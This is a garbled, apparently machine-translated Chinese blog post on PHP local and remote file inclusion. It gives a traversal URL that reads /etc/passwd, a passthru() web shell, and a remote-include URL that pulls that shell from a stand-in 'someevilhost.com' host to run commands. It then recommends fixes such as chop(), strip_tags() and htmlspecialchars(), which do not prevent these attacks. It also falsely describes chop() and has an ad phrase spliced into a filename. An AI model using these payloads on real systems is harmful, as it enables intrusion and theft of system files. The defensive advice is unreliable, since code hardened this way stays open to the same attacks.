文件包含漏洞防护以及常见文件读取payload的示例分析


这篇文章主要介绍文件包含漏洞防护以及常见文件读取payload的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!仅供参考学习使用现在请看下面的代码 Files
Php
$page = $ _GET [page];
include ($ page);
?>这里显然不应该使用它。$page变量并未完全清除。 $page输入直接定向到网页,这是一个很大错误。这里删除通过浏览器传递的所有输入。当用户在访问网页时单击“文件”访问到“ files.p免费云主机域名hp”时,将出现下面的内容。http://localhost/index.php?page=files.php现在,如果没有一个清理输入中变量$page,我们可以利用它执行我们的命令。如果主机在Unix/Linux服务器,我们可以读取用户密码,如下面的url所示。http://localhost/index.php?page=.. /../../../../../etc/passwd上面的url会返回/etc/passwd Files
Php
$ page = $ _GET [page];
include ($ page);
?>现在假设我们输入的url如下http://localhost/index.php?page=http://google.com/可能是$ page变量最初放置在页面上的位置,我们得到了google.com主页。我们都知道c99(shell)可以做什么,并且如果编码人员注意的话,它们可能会包含在页面中,从而允许用户在浏览敏感文件。让我们看一下网页上可能发生的一些更简单的事情。现在,我们创建一个名为“ test.php”的文件,并将以下代码放入其中,然后保存。 Php
passthru ($ _ GET [cmd]);
?>我们可以利用此文件来利用它, PHP中的passthru()函数是非常危险的。使用test.php中的这段代码,我们可以向网页发送请求,包括文件包含漏洞。如以下url所示http://localhost/index.php?page=http: //someevilhost.com/test.php当代码使用$_GET请求,我们必须提供一个参数传递给passthru(). 我们可以在url中这样输入。http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd这unix机器也将提取的文件/etc/passwd使用的cat的命令。现在我们需要知道如何控制它,使任何人都不可能执行命令,和如何包括远程执行你的服务器命令。 我们可以禁止passthru()函数。正如前文所述我们可以清除输入。我们这里可以在函数中使用一些PHP建议的结构。最初,perl的chop()函数适应了PHP,该PHP从数组中删除了空格。我们可以这样使用它。 Files
Php
$ page = chop ($ _ GET [page]);
include ($ page);
?>php中有许多函数可以清除字符串,如htmlspecialchars()htmlentities(),stripslashes()等。我们可以在PHP中执行一个可以为所有内容的函数。如下面代码所示 Php
function cleanAll ($ input) {
$ input = strip_tags ($ input);
$ input = htmlspecialchars ($ input);
return ($ input);
}
?>这里还可以使用str_replace()函数,并且还有很多其他函数可以清除它们。以上是“文件包含漏洞防护以及常见文件读取payload的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注云编程开发博客行业资讯频道!

相关推荐: Linux的rmdir命令有什么作用及怎么使用

本文小编为大家详细介绍“Linux的rmdir命令有什么作用及怎么使用”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux的rmdir命令有什么作用及怎么使用”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。命令简介:rmdir命…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/05 16:14
下一篇 02/05 16:14